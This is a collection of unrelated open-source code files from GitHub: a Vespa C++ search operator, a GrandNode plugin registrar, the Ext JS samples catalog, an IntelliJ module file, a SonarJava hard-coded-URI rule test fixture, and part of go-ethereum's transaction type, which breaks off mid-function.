// Copyright 2017 Yahoo Holdings. Licensed under the terms of the Apache 2.0 license. See LICENSE in the project root. #pragma once #include "andsearch.h" namespace search { namespace queryeval { /** * A simple implementation of the And search operation. **/ template <typename Unpack> class AndSearchNoStrict : public AndSearch { public: /** * Create a new And Search with the given children. * A And Search has no strictness assumptions about * its children. * * @param children the search objects we are and'ing * ownership of the children is taken by the MultiSearch base class. **/ AndSearchNoStrict(Children children, const Unpack & unpacker) : AndSearch(std::move(children)), _unpacker(unpacker) { } protected: void doSeek(uint32_t docid) override { const Children & children(getChildren()); for (uint32_t i = 0; i < children.size(); ++i) { if (!children[i]->seek(docid)) { return; } } setDocId(docid); } Trinary is_strict() const override { return Trinary::False; } void doUnpack(uint32_t docid) override { _unpacker.unpack(docid, *this); } void onRemove(size_t index) override { _unpacker.onRemove(index); } void onInsert(size_t index) override { _unpacker.onInsert(index); } bool needUnpack(size_t index) const override { return _unpacker.needUnpack(index); } private: Unpack _unpacker; }; } // namespace queryeval } // namespace search
{ "pile_set_name": "Github" }
using Autofac; using Grand.Core.Configuration; using Grand.Core.Infrastructure; using Grand.Core.Infrastructure.DependencyManagement; using Grand.Plugin.Shipping.ByWeight.Controllers; using Grand.Plugin.Shipping.ByWeight.Services; namespace Grand.Plugin.Shipping.ByWeight { public class DependencyRegistrar : IDependencyRegistrar { public virtual void Register(ContainerBuilder builder, ITypeFinder typeFinder, GrandConfig config) { builder.RegisterType<ShippingByWeightService>().As<IShippingByWeightService>().InstancePerLifetimeScope(); //base shipping controller builder.RegisterType<ShippingByWeightController>(); builder.RegisterType<ByWeightShippingComputationMethod>().InstancePerLifetimeScope(); } public int Order { get { return 10; } } } }
{ "pile_set_name": "Github" }
--- title: "switch" layout: cask --- {{ content }}
{ "pile_set_name": "Github" }
/* This file is part of Ext JS 3.4 Copyright (c) 2011-2013 Sencha Inc Contact: http://www.sencha.com/contact GNU General Public License Usage This file may be used under the terms of the GNU General Public License version 3.0 as published by the Free Software Foundation and appearing in the file LICENSE included in the packaging of this file. Please review the following information to ensure the GNU General Public License version 3.0 requirements will be met: http://www.gnu.org/copyleft/gpl.html. If you are unsure which license is appropriate for your use, please contact the sales department at http://www.sencha.com/contact. Build date: 2013-04-03 15:07:25 */ Ext.ns('Ext.samples'); Ext.samples.samplesCatalog = [{ title: 'Combination Examples', samples: [ { text: 'Feed Viewer', url: 'feed-viewer/view.html', icon: 'feeds.gif', desc: 'RSS feed reader example application that features a swappable reader panel layout.' }, { text: 'Web Desktop', url: 'desktop/desktop.html', icon: 'desktop.gif', desc: 'Demonstrates how one could build a desktop in the browser using Ext components including a module plugin system.' }, /*{ text: 'Image Organizer', url: 'image-organizer/index.html', icon: 'image-organizer.gif', desc: 'Image management application example utilizing MySQL lite and Ext.Direct.', status: 'new' }*/ { text: 'Ext JS Calendar', url: 'calendar/index.html', icon: 'calendar.gif', desc: 'Example Calendar application. Demonstrates the new Day, Week and Month views and how to combine them.', status: 'new' }, { text: 'Ext JS API Documentation', url: '../docs/index.html', icon: 'docs.gif', desc: 'API Documentation application.' }, { text: 'Ext JS Forum Browser', url: 'forum/forum.html', icon: 'forum.gif', desc: 'Ext JS online forums browser application.', status: 'modified' }, { text: 'Image Viewer', url: 'organizer/organizer.html', icon: 'organizer.gif', desc: 'DataView and TreePanel example that demonstrates dragging data items from a DataView into a TreePanel.' }, { text: 'Themes Viewer', url: 'themes/index.html', icon: 'themes.gif', desc: 'View and test every Ext component against bundled Ext themes, or, your own custom themes.', status: 'new' } // { // text: 'Pivot Grid', // url: 'pivotgrid/reconfigurable.html', // icon: 'pivotgrid.gif', // desc: 'An example demonstrating how to reconfigure a PivotGrid at run time', // status: 'new' // } ] },{ title: 'Offline Support', samples: [{ text: 'Simple Tasks', url: 'tasks/tasks.html', icon: 'tasks.gif', desc: 'Personal task management application example that uses <a href="http://gears.google.com" target="_blank">Google Gears</a> for data storage.' },{ text: 'Simple Tasks', url: 'http://extjs.com/blog/2008/02/24/tasks2/', icon: 'air.gif', desc: 'Complete personal task management application example that runs on <a href="http://labs.adobe.com/technologies/air/" target="_blank">Adobe AIR</a>.' }] },{ title: 'Accessibility', samples: [{ text: 'Key Feed Viewer', url: 'key-feed-viewer/view.html', icon: 'keyboard.gif', desc: 'Keyboard navigation within a complex layout.', status: 'experimental' },{ text: 'ARIA Tree', url: 'tree/aria-tree.html', icon: 'acc-tree.gif', desc: 'Demonstrating ARIA with a TreePanel', status: 'experimental' },{ text: 'Custom Search Fields', url: 'form/custom-access.html', icon: 'form-custom-access.gif', desc: 'A TriggerField search extension combined with an XTemplate for custom results rendering. Uses the Accessibility theme.' },{ text: 'Binding a Grid to a Form', url: 'form/form-grid-access.html', icon: 'form-grid-binding-access.gif', desc: 'A grid embedded within a FormPanel that uses the Accessibility theme.' }] }, { title: 'Pivot Grid', samples: [ { text: 'Pivot Grid', url: 'pivotgrid/simple.html', icon: 'pivotgrid.gif', desc: 'The powerful new PivotGrid component, demonstrating data reduction and analysis capabilities.', status: 'new' }, { text: 'Customised Pivot Grid', url: 'pivotgrid/countries.html', icon: 'pivotgrid-cellcls.gif', desc: 'A PivotGrid with its appearance customised based on summarized data', status: 'new' }, { text: 'Pivot Grid Examples', url: 'pivotgrid/people.html', icon: 'pivotgrid-people.gif', desc: 'Several Pivot Grids showing different views of the same data source', status: 'new' } ] }, { title: 'Grids', samples: [{ text: 'Basic Array Grid', url: 'grid/array-grid.html', icon: 'grid-array.gif', desc: 'A basic read-only grid loaded from local array data that demonstrates the use of custom column renderer functions.' },{ text: 'Property Grid', url: 'grid/property-grid.html', icon: 'grid-property.gif', desc: 'An example of a traditional property grid as typically seen in development IDEs.' },{ text: 'Editable Grid', url: 'grid/edit-grid.html', icon: 'grid-edit.gif', desc: 'An editable grid loaded from XML that shows multiple types of grid editors as well as defining custom data records.' },{ text: 'Row Editor Grid', url: 'grid/row-editor.html', icon: 'grid-row-editor.gif', desc: 'An editable grid which allows the user to make modifications to an entire record at once. Also demonstrates the Ext.chart package. ', status: 'new' },{ text: 'XML Grid', url: 'grid/xml-grid.html', icon: 'grid-xml.gif', desc: 'A simple read-only grid loaded from XML data.' },{ text: 'Paging', url: 'grid/paging.html', icon: 'grid-paging.gif', desc: 'A grid with paging, cross-domain data loading and custom- rendered expandable row bodies.' },{ text: 'Progress Bar Pager', url: 'grid/progress-bar-pager.html', icon: 'progress-bar-pager.gif', desc: 'An example of how to integrate the Progress Bar with the Paging Toolbar using a custom plugin.', status: 'new' },{ text: 'Sliding Pager', url: 'grid/sliding-pager.html', icon: 'slider-pager.gif', desc: 'A demonstration on the integration of the Slider with the Paging Toolbar using a custom plugin.', status: 'new' },{ text: 'Grouping', url: 'grid/grouping.html', icon: 'grid-grouping.gif', desc: 'A basic grouping grid showing collapsible data groups that can be customized via the "Group By" header menu option.' },{ text: 'Grouping with Dynamic Summary', url: 'grid/totals.html', icon: 'grid-summary.gif', desc: 'Advanced grouping grid that allows cell editing and includes custom dynamic summary calculations.', status: 'new' },{ text: 'Grouping with Remote Summary', url: 'grid/totals-hybrid.html', icon: 'grid-summary.gif', desc: 'Advanced grouping grid that allows cell editing and includes remotely loaded dynamic summary calculations.' },{ text: 'Grid Plugins', url: 'grid/grid-plugins.html', icon: 'grid-plugins.gif', desc: 'Multiple grids customized via plugins: expander rows, checkbox selection and row numbering.' },{ text: 'Grid Filtering', url: 'grid-filtering/grid-filter-local.html', icon: 'grid-filter.gif', desc: 'Grid plugins providing custom data filtering menus that support various data types.', status: 'updated' },{ text: 'Grid From Markup', url: 'grid/from-markup.html', icon: 'grid-from-markup.gif', desc: 'Custom GridPanel extension that can convert a plain HTML table into a dynamic grid at runtime.' },{ text: 'Grid Data Binding (basic)', url: 'grid/binding.html', icon: 'grid-data-binding.gif', desc: 'Data binding a grid to a detail preview panel via the grid\'s RowSelectionModel.' },{ text: 'Grid Data Binding (advanced)', url: 'grid/binding-with-classes.html', icon: 'grid-data-binding.gif', desc: 'Refactoring the basic data binding example to use a class-based application design model.' },{ text: 'Buffered GridView', url: 'grid/buffer.html', icon: 'grid-buffer.gif', desc: 'GridView optimized for performance by rendering only visible rows.', status: 'new' }, { text: 'Editable Grid with Writable Store', url: 'writer/writer.html', icon: 'writer-thumb.gif', desc: 'This Store uses JsonWriter to automatically generate CRUD requests to the server through a standard HttpProxy.', status: 'new' }, { text: 'RESTful Store with GridPanel and RowEditor', url: 'restful/restful.html', icon: 'grid-row-editor.gif', desc: 'A RESTful Store with JsonWriter which automatically generates CRUD requests to the server.', status: 'new' },{ text: 'Locking GridView extension', url: 'grid/locking-grid.html', icon: 'grid-locking.gif', desc: 'An example extension that introduces the ability to add locking columns to the GridPanel', status: 'new' },{ text: 'Grouping GridView extension', url: 'grid/ColumnHeaderGroup.html', icon: 'grid-columngrouping.gif', desc: 'An extension that adds the capability of grouping Column headers in the GridPanel', status: 'new' }, { text: 'Multiple Sorting', url: 'grid/multiple-sorting.html', icon: 'grid-multiple-sorting.png', desc: 'An example that shows multi-level sorting in a Grid Panel.', status: 'new' }] },{ title: 'Tabs', samples: [{ text: 'Basic Tabs', url: 'tabs/tabs.html', icon: 'tabs.gif', desc: 'Basic tab functionality including autoHeight, tabs from markup, Ajax loading and tab events.' },{ text: 'TabPanel Scroller Menu', url: 'tabs/tab-scroller-menu.html', icon: 'tab-panel-scroller-menu.gif', desc: 'An example of an overflow menu that appears to the right of the TabPanel tab strip', status: 'new' },{ text: 'Advanced Tabs', url: 'tabs/tabs-adv.html', icon: 'tabs-adv.gif', desc: 'Advanced tab features including tab scrolling, adding tabs programmatically and a context menu plugin.' },{ text: 'Group Tabs', url: 'grouptabs/grouptabs.html', icon: 'group-tabs.gif', desc: 'A custom example on how to setup tab grouping using vertical tabs.', status: 'new' }] },{ title: 'Charts', samples: [{ text: 'Charts', url: 'chart/charts.html', icon: 'charts.gif', desc: 'A sampling of several chart styles', status: 'new' },{ text: 'Pie Chart', url: 'chart/pie-chart.html', icon: 'chart-pie.gif', desc: 'An example of a pie chart', status: 'new' },{ text: 'Stacked Bar Chart', url: 'chart/stacked-bar-chart.html', icon: 'chart-stacked.gif', desc: 'An example of a stacked bar chart', status: 'new' },{ text: 'Reloaded Chart', url: 'chart/reload-chart.html', icon: 'chart-reload.gif', desc: 'An example demonstrating chart data reloading', status: 'new' }] },{ title: 'Windows', samples: [{ text: 'Hello World', url: 'window/hello.html', icon: 'window.gif', desc: 'Simple "Hello World" window that contains a basic TabPanel.' },{ text: 'MessageBox', url: 'message-box/msg-box.html', icon: 'msg-box.gif', desc: 'Different styles include confirm, alert, prompt, progress and wait and also support custom icons.' },{ text: 'Layout Window', url: 'window/layout.html', icon: 'window-layout.gif', desc: 'A window containing a basic BorderLayout with nested TabPanel.' }] },{ title: 'Trees', samples: [{ text: 'Drag and Drop Reordering', url: 'tree/reorder.html', icon: 'tree-reorder.gif', desc: 'A TreePanel loaded asynchronously via a JSON TreeLoader that shows drag and drop with container scroll.' },{ text: 'Multiple trees', url: 'tree/two-trees.html', icon: 'tree-two.gif', desc: 'Drag and drop between two different sorted TreePanels.' },{ text: 'TreeGrid', url: 'treegrid/treegrid.html', icon: 'tree-columns.gif', desc: 'The TreeGrid component', status: 'new' },{ text: 'Check Tree', url: 'tree/check-tree.html', icon: 'tree-check.gif', desc: 'An example showing simple checkbox selection in a tree.', status: 'new' },{ text: 'XML Tree Loader', url: 'tree/xml-tree-loader.html', icon: 'tree-xml-loader.gif', desc: 'A custom TreeLoader implementation that demonstrates loading a tree from an XML document.' }] },{ title: 'Layout Managers', samples: [{ text: 'Layout Browser', url: 'layout-browser/layout-browser.html', icon: 'layout-browser.gif', desc: 'Comprehensive showcase of the standard layout managers as well as several custom and combination layouts and combination examples.', status: 'updated' },{ text: 'Border Layout', url: 'layout/complex.html', icon: 'border-layout.gif', desc: 'A complex BorderLayout implementation that shows nesting multiple components and sub-layouts.' },{ text: 'Accordion Layout', url: 'layout/accordion.html', icon: 'layout-accordion.gif', desc: 'A basic accordion layout within a border layout.' },{ text: 'Absolute Layout (Form)', url: 'form/absform.html', icon: 'layout-absolute.gif', desc: 'A simple example of form fields utilizing an absolute layout in a window for flexible form resizing.' },{ text: 'Anchor Layout (Form)', url: 'form/anchoring.html', icon: 'layout-form.gif', desc: 'A simple example of form fields utilizing an anchor layout in a window for flexible form resizing.' },{ text: 'Anchor Layout (Panel)', url: 'layout/anchor.html', icon: 'layout-anchor.gif', desc: 'An example of Panels anchored in the browser window.' },{ text: 'Column Layout', url: 'layout/column.html', icon: 'layout-column.gif', desc: 'An example of Panels managed by a column layout.' },{ text: 'Table Layout', url: 'layout/table.html', icon: 'layout-table.gif', desc: 'An example of Panels managed by a table layout.' },{ text: 'HBox Layout', url: 'layout/hbox.html', icon: 'layout-column.gif', desc: 'Interactive layout illustrating the capabilities of the HBox Layout.', status: 'new' },{ text: 'VBox Layout', url: 'layout/vbox.html', icon: 'layout-vbox.gif', desc: 'Interactive layout illustrating the capabilities of the VBox Layout.', status: 'new' },{ text: 'Portal Demo', url: 'portal/portal.html', icon: 'portal.gif', desc: 'A page layout using several custom extensions to provide a web portal interface.' }] },{ title: 'ComboBox', samples: [{ text: 'Basic ComboBox', url: 'form/combos.html', icon: 'combo.gif', desc: 'Basic combos, combos rendered from markup and customized list layout to provide item tooltips.' },{ text: 'ComboBox Templates', url: 'form/forum-search.html', icon: 'combo-custom.gif', desc: 'Customized combo with template-based list rendering, remote loading and paging.' }] },{ title: 'Forms', samples: [{ text: 'Dynamic Forms', url: 'form/dynamic.html', icon: 'form-dynamic.gif', desc: 'Various example forms showing collapsible fieldsets, column layout, nested TabPanels and more.' },{ text: 'Ajax with XML Forms', url: 'form/xml-form.html', icon: 'form-xml.gif', desc: 'Ajax-loaded form fields from remote XML data and remote field validation on submit.' },{ text: 'Custom Search Fields', url: 'form/custom.html', icon: 'form-custom.gif', desc: 'A TriggerField search extension combined with an XTemplate for custom results rendering.' },{ text: 'Binding a Grid to a Form', url: 'form/form-grid.html', icon: 'form-grid-binding.gif', desc: 'A grid embedded within a FormPanel that automatically loads records into the form on row selection.' },{ text: 'Advanced Validation', url: 'form/adv-vtypes.html', icon: 'form-adv-vtypes.gif', desc: 'Relational form field validation using custom vtypes.' },{ text: 'Checkbox/Radio Groups', url: 'form/check-radio.html', icon: 'form-check-radio.gif', desc: 'Many examples showing different checkbox and radio group configurations.' },{ text: 'File Upload Field', url: 'form/file-upload.html', icon: 'form-file-upload.gif', desc: 'A demo of how to give standard file upload fields a bit of Ext style using a custom class.' },{ text: 'Spinner Field', url: 'spinner/spinner.html', icon: 'form-spinner.gif', desc: 'An example of a custom spinner widget.' },{ text: 'MultiSelect and ItemSelector', url: 'multiselect/multiselect-demo.html', icon: 'form-multiselect.gif', desc: 'Example controls for selecting a list of items in forms.' }, { text: 'Slider Field', url: 'slider/slider-field.html', icon: 'form-slider.png', desc: 'Example usage of an Ext.Slider to select a number value in a form.', status : 'new' }, { text: 'Forms with vBox layout', url: 'form/vbox-form.html', icon: 'form-vbox.gif', desc: 'Example usage of the vBox layout with forms. An added bonus is the FieldReplicator plugin.', status : 'new' }, { text : 'Composite Fields', url : 'form/composite-field.html', icon : 'form-composite.png', desc : 'Example usage of the Composite Fields to place several fields on a single form row.', status: 'new' }] },{ title: 'Toolbars and Menus', samples: [{ text: 'Basic Toolbar', url: 'menu/menus.html', icon: 'toolbar.gif', desc: 'Toolbar and menus that contain various components like date pickers, color pickers, sub-menus and more.', status: 'updated' },{ text: 'Toolbar Overflow', url: 'toolbar/overflow.html', icon: 'toolbar-overflow.gif', desc: 'Dynamic overflow of toolbar buttons into an Ext.menu.', status: 'new' },{ text: 'Toolbar Button Groups', url: 'toolbar/toolbars.html', icon: 'toolbar-button-groups.gif', desc: 'Group buttons together in the toolbar.', status: 'new' },{ text: 'Ext Actions', url: 'menu/actions.html', icon: 'toolbar-actions.gif', desc: 'Bind the same behavior to multiple buttons, toolbar and menu items using the Ext.Action class.' }, { text: 'Reorderable Toolbar', url: 'toolbar/reorderable.html', icon: 'toolbar-reorderable.png', desc: 'Items within a toolbar can be reordered using this plugin.', status: 'new' }, { text: 'Droppable Toolbar', url: 'toolbar/droppable.html', icon: 'toolbar-droppable.png', desc: 'Items can be dropped onto a Toolbar and easily turned into items with this plugin.', status: 'new' }, { text: 'Status Bar', url: 'statusbar/statusbar-demo.html', icon: 'statusbar-demo.gif', desc: 'A simple StatusBar that can be dropped into the bottom of any panel to display status text and icons.', status: 'updated' },{ text: 'Status Bar (Advanced)', url: 'statusbar/statusbar-advanced.html', icon: 'statusbar-adv.gif', desc: 'Customizing the StatusBar via a plugin to provide automatic form validation monitoring and error linking.', status: 'updated' }] },{ title: 'Templates and DataView', samples: [{ text : 'Templates', url : 'core/templates.html', icon : 'templates.gif', desc : 'A simple example of rendering views from templates bound to data objects.' },{ text : 'DataView', url : 'view/data-view.html', icon : 'data-view.gif', desc : 'A basic DataView with custom plugins for editable labels and drag selection of items.' },{ text : 'DataView (advanced)', url : 'view/chooser.html', icon : 'chooser.gif', desc : 'A more customized DataView supporting sorting and filtering with multiple templates.' },{ text : 'ListView', url : 'view/list-view.html', icon : 'list-view.gif', desc : 'A high performance tabular DataView to be used as a lightweight grid.', status: 'new' }, { text : 'Animated DataView', url : 'view/animated-dataview.html', icon : 'animated-dataview.png', desc : 'Transition animation plugin applied to a standard DataView', status: 'new' }, { text : 'Multi-sort DataView', url : 'view/multisort-dataview.html', icon : 'multisort-dataview.png', desc : 'Example demonstrating the ability to sort a DataView by multiple sorters.', status: 'new' }] },{ title : 'Drag and Drop', samples : [{ text : 'Grid to Grid Drag and Drop', url : 'dd/dnd_grid_to_grid.html', icon : 'dd-gridtogrid.gif', desc : 'A simple drag and drop from grid to grid implementation.' },{ text : 'Grid to FormPanel Drag and Drop', url : 'dd/dnd_grid_to_formpanel.html', icon : 'dd-gridtoformpanel.gif', desc : 'A basic drag and drop from grid to formpanel.' },{ text : 'Field to Grid Drag and Drop', url : 'dd/field-to-grid-dd.html', icon : 'dd-fieldtogrid.gif', desc : 'Drag from a form field and drop on a grid.', status: 'new' },{ text : 'Custom Drag and Drop', url : 'dd/dragdropzones.html', icon : 'dd-zones.gif', desc : 'Enabling drag and drop between a DataView and a grid using DragZone and DropZone extensions.' }] },{ title: 'Direct', samples: [{ text: 'Direct', url: 'direct/direct.php', icon: 'direct.gif', desc: 'An example demonstrating Remoting and Polling the server', status: 'new' },{ text: 'Direct Form', url: 'direct/direct-form.php', icon: 'direct.gif', desc: 'Ext.Direct Remoting with a Form', status: 'new' },{ text: 'Direct TreeLoader', url: 'direct/direct-tree.php', icon: 'direct.gif', desc: 'Ext.Direct Remoting with a Tree', status: 'new' }] },{ title: 'Miscellaneous', samples: [{ text: 'History', url: 'history/history.html', icon: 'history.gif', desc: 'A History manager that allows the user to navigate an Ext UI via browser back/forward.' },{ text: 'Google Maps', url: 'window/gmap.html', icon: 'gmap-panel.gif', desc: 'A Google Maps wrapper class that enables easy display of dynamic maps in Ext panels and windows.' },{ text: 'Editor', url: 'simple-widgets/editor.html', icon: 'editor.gif', desc: 'An example demonstrating the ease of use of the Ext.editor class to modify DOM elements', status: 'new' },{ text: 'Slider', url: 'slider/slider.html', icon: 'slider.gif', desc: 'A slider component that supports vertical mode, snapping, tooltips, customized styles and multiple thumbs.', status: 'updated' },{ text: 'QuickTips', url: 'simple-widgets/qtips.html', icon: 'qtips.gif', desc: 'Various tooltip and quick tip configuration options including Ajax loading and mouse tracking.', status: 'updated' },{ text: 'Progress Bar', url: 'simple-widgets/progress-bar.html', icon: 'progress.gif', desc: 'A basic progress bar component shown in various configurations and with custom styles.' },{ text: 'Panels', url: 'panel/panels.html', icon: 'panel.gif', desc: 'A basic collapsible panel example.', status: 'updated' },{ text: 'Bubble Panel', url: 'panel/bubble-panel.html', icon: 'panel-bubble.gif', desc: 'An example illustrating customization of a standard panel.', status: 'new' },{ text: 'Resizable', url: 'resizable/basic.html', icon: 'resizable.gif', desc: 'Examples of making any element resizable with various configuration options.' },{ text: 'Spotlight', url: 'core/spotlight.html', icon: 'spotlight.gif', desc: 'A utility for masking everything except a single element on the page to visually highlight it.', status: 'new' },{ text: 'Buttons', url: 'button/buttons.html', icon: 'buttons.gif', desc: '', status: 'new' },{ text: 'Debugging Console', url: 'debug/debug-console.html', icon: 'debug-console.gif', desc: '', status: 'new' },{ text: 'Localization (static)', url: 'locale/dutch-form.html', icon: 'locale-dutch.gif', desc: 'Demonstrates fully localizing a form by including a custom locale script.' },{ text: 'Localization (dynamic)', url: 'locale/multi-lang.html', icon: 'locale-switch.gif', desc: 'Dynamically render various Ext components in different locales by selecting from a locale list.' }] }];
{ "pile_set_name": "Github" }
{ "pile_set_name": "Github" }
<?xml version="1.0" encoding="UTF-8"?> <module org.jetbrains.idea.maven.project.MavenProjectsManager.isMavenModule="true" type="JAVA_MODULE" version="4"> <component name="NewModuleRootManager" LANGUAGE_LEVEL="JDK_1_6" inherit-compiler-output="false"> <output url="file://$MODULE_DIR$/target/classes" /> <output-test url="file://$MODULE_DIR$/target/test-classes" /> <exclude-output /> <content url="file://$MODULE_DIR$"> <sourceFolder url="file://$MODULE_DIR$/src/java/main" isTestSource="false" /> <sourceFolder url="file://$MODULE_DIR$/src/java/resources" isTestSource="false" /> <sourceFolder url="file://$MODULE_DIR$/src/java/test" isTestSource="true" /> <excludeFolder url="file://$MODULE_DIR$/target" /> </content> <orderEntry type="inheritedJdk" /> <orderEntry type="sourceFolder" forTests="false" /> <orderEntry type="module" module-name="swing" /> <orderEntry type="module" module-name="framework" /> <orderEntry type="library" name="Maven: org.uncommons.maths:uncommons-maths:1.2.2" level="project" /> <orderEntry type="library" name="Maven: jfree:jcommon:1.0.12" level="project" /> <orderEntry type="library" name="Maven: jfree:jfreechart:1.0.13" level="project" /> <orderEntry type="library" name="Maven: com.google.collections:google-collections:1.0" level="project" /> <orderEntry type="library" scope="TEST" name="Maven: org.testng:testng:6.2.1" level="project" /> <orderEntry type="library" scope="TEST" name="Maven: junit:junit:3.8.1" level="project" /> <orderEntry type="library" scope="TEST" name="Maven: org.beanshell:bsh:2.0b4" level="project" /> <orderEntry type="library" scope="TEST" name="Maven: com.beust:jcommander:1.12" level="project" /> <orderEntry type="library" scope="TEST" name="Maven: org.yaml:snakeyaml:1.6" level="project" /> <orderEntry type="library" scope="TEST" name="Maven: org.easytesting:fest-swing:1.2.1" level="project" /> <orderEntry type="library" scope="TEST" name="Maven: org.easytesting:fest-assert:1.2" level="project" /> <orderEntry type="library" scope="TEST" name="Maven: org.easytesting:fest-util:1.1.3" level="project" /> <orderEntry type="library" scope="TEST" name="Maven: org.easytesting:fest-reflect:1.2" level="project" /> <orderEntry type="library" scope="TEST" name="Maven: net.jcip:jcip-annotations:1.0" level="project" /> </component> </module>
{ "pile_set_name": "Github" }
package checks; import java.io.File; import java.net.URI; import java.net.URISyntaxException; class HardcodedURICheck { public static @interface MyAnnotation { String stuff() default "none"; String path() default "/"; } String fileName = "//my-network-drive/folder/file.txt"; // Noncompliant String[] stuffs = new String[1]; @MyAnnotation(stuff = "yolo", path = "/{var}/bulu/stuff") // Compliant - annotations are ignored void bar(String var) { } @MyAnnotation(stuff = "/{var}/bulu/stuff") // Compliant - not a path assignmnet void qix(String var) { } @MyAnnotation(path = "/{var}/bulu/stuff") // Compliant - annotations are ignored void foo(String s, String var) throws URISyntaxException { new Object(); new URI(s); // Compliant new File(s); // Compliant new File("", s); // Compliant new File("", s + "/" + s); // Noncompliant [[sc=22;ec=25]] {{Remove this hard-coded path-delimiter.}} new URI("http:https"); // Compliant new URI("http://www.mywebsite.com"); // Noncompliant [[sc=13;ec=39]] {{Refactor your code to get this URI from a customizable parameter.}} new File("/home/path/to/my/file.txt"); // Noncompliant [[sc=14;ec=41]] {{Refactor your code to get this URI from a customizable parameter.}} new File(s, "~\\blah\\blah\\blah.txt"); // Noncompliant [[sc=17;ec=42]] {{Refactor your code to get this URI from a customizable parameter.}} new File("/Folder/", s); // Noncompliant [[sc=14;ec=24]] {{Refactor your code to get this URI from a customizable parameter.}} String filename; String path = "/home/path/to/my/file.txt"; // Noncompliant [[sc=19;ec=46]] {{Refactor your code to get this URI from a customizable parameter.}} String fileName = "\\\\blah\\blah\\"; // Noncompliant {{Refactor your code to get this URI from a customizable parameter.}} String fileNAME = s; // Compliant String stuff = "/home/path/to/my/file.txt"; // Compliant - requires a variable with adequate name this.fileName = "/home/path/to/my/file.txt"; // Noncompliant stuffs[0] = "/home/path/to/my/file.txt"; // Compliant - require a variable with adequate name fileNAME = s + "//" + s; // Noncompliant {{Remove this hard-coded path-delimiter.}} fileNAME = s + "\\\\" + s; // Noncompliant {{Remove this hard-coded path-delimiter.}}t fileNAME = s + "hello" + s; // Compliant fileNAME = "c:\\blah\\blah\\blah.txt"; // Noncompliant int fIleNaMe = 14 - 2; String v1 = s + "//" + s; // Compliant - not a file name } }
{ "pile_set_name": "Github" }
// Copyright 2014 The go-ethereum Authors // This file is part of the go-ethereum library. // // The go-ethereum library is free software: you can redistribute it and/or modify // it under the terms of the GNU Lesser General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // The go-ethereum library is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU Lesser General Public License for more details. // // You should have received a copy of the GNU Lesser General Public License // along with the go-ethereum library. If not, see <http://www.gnu.org/licenses/>. package types import ( "container/heap" "errors" "fmt" "io" "math/big" "sync/atomic" "github.com/ethereum/go-ethereum/common" "github.com/ethereum/go-ethereum/common/hexutil" "github.com/ethereum/go-ethereum/crypto" "github.com/ethereum/go-ethereum/rlp" ) //go:generate gencodec -type txdata -field-override txdataMarshaling -out gen_tx_json.go var ( ErrInvalidSig = errors.New("invalid transaction v, r, s values") errNoSigner = errors.New("missing signing methods") ) // deriveSigner makes a *best* guess about which signer to use. func deriveSigner(V *big.Int) Signer { if V.Sign() != 0 && isProtectedV(V) { return NewEIP155Signer(deriveChainId(V)) } else { return HomesteadSigner{} } } type Transaction struct { data txdata // caches hash atomic.Value size atomic.Value from atomic.Value } type txdata struct { AccountNonce uint64 `json:"nonce" gencodec:"required"` Price *big.Int `json:"gasPrice" gencodec:"required"` GasLimit *big.Int `json:"gas" gencodec:"required"` Recipient *common.Address `json:"to" rlp:"nil"` // nil means contract creation Amount *big.Int `json:"value" gencodec:"required"` Payload []byte `json:"input" gencodec:"required"` // Signature values V *big.Int `json:"v" gencodec:"required"` R *big.Int `json:"r" gencodec:"required"` S *big.Int `json:"s" gencodec:"required"` // This is only used when marshaling to JSON. Hash *common.Hash `json:"hash" rlp:"-"` } type txdataMarshaling struct { AccountNonce hexutil.Uint64 Price *hexutil.Big GasLimit *hexutil.Big Amount *hexutil.Big Payload hexutil.Bytes V *hexutil.Big R *hexutil.Big S *hexutil.Big } func NewTransaction(nonce uint64, to common.Address, amount, gasLimit, gasPrice *big.Int, data []byte) *Transaction { return newTransaction(nonce, &to, amount, gasLimit, gasPrice, data) } func NewContractCreation(nonce uint64, amount, gasLimit, gasPrice *big.Int, data []byte) *Transaction { return newTransaction(nonce, nil, amount, gasLimit, gasPrice, data) } func newTransaction(nonce uint64, to *common.Address, amount, gasLimit, gasPrice *big.Int, data []byte) *Transaction { if len(data) > 0 { data = common.CopyBytes(data) } d := txdata{ AccountNonce: nonce, Recipient: to, Payload: data, Amount: new(big.Int), GasLimit: new(big.Int), Price: new(big.Int), V: new(big.Int), R: new(big.Int), S: new(big.Int), } if amount != nil { d.Amount.Set(amount) } if gasLimit != nil { d.GasLimit.Set(gasLimit) } if gasPrice != nil { d.Price.Set(gasPrice) } return &Transaction{data: d} } // ChainId returns which chain id this transaction was signed for (if at all) func (tx *Transaction) ChainId() *big.Int { return deriveChainId(tx.data.V) } // Protected returns whether the transaction is protected from replay protection. func (tx *Transaction) Protected() bool { return isProtectedV(tx.data.V) } func isProtectedV(V *big.Int) bool { if V.BitLen() <= 8 { v := V.Uint64() return v != 27 && v != 28 } // anything not 27 or 28 are considered unprotected return true } // EncodeRLP implements rlp.Encoder func (tx *Transaction) EncodeRLP(w io.Writer) error { return rlp.Encode(w, &tx.data) } // DecodeRLP implements rlp.Decoder func (tx *Transaction) DecodeRLP(s *rlp.Stream) error { _, size, _ := s.Kind() err := s.Decode(&tx.data) if err == nil { tx.size.Store(common.StorageSize(rlp.ListSize(size))) } return err } // MarshalJSON encodes the web3 RPC transaction format. func (tx *Transaction) MarshalJSON() ([]byte, error) { hash := tx.Hash() data := tx.data data.Hash = &hash return data.MarshalJSON() } // UnmarshalJSON decodes the web3 RPC transaction format. func (tx *Transaction) UnmarshalJSON(input []byte) error { var dec txdata if err := dec.UnmarshalJSON(input); err != nil { return err } var V byte if isProtectedV(dec.V) { chainID := deriveChainId(dec.V).Uint64() V = byte(dec.V.Uint64() - 35 - 2*chainID) } else { V = byte(dec.V.Uint64() - 27) } if !crypto.ValidateSignatureValues(V, dec.R, dec.S, false) { return ErrInvalidSig } *tx = Transaction{data: dec} return nil } func (tx *Transaction) Data() []byte { return common.CopyBytes(tx.data.Payload) } func (tx *Transaction) Gas() *big.Int { return new(big.Int).Set(tx.data.GasLimit) } func (tx *Transaction) GasPrice() *big.Int { return new(big.Int).Set(tx.data.Price) } func (tx *Transaction) Value() *big.Int { return new(big.Int).Set(tx.data.Amount) } func (tx *Transaction) Nonce() uint64 { return tx.data.AccountNonce } func (tx *Transaction) CheckNonce() bool { return true } // To returns the recipient address of the transaction. // It returns nil if the transaction is a contract creation. func (tx *Transaction) To() *common.Address { if tx.data.Recipient == nil { return 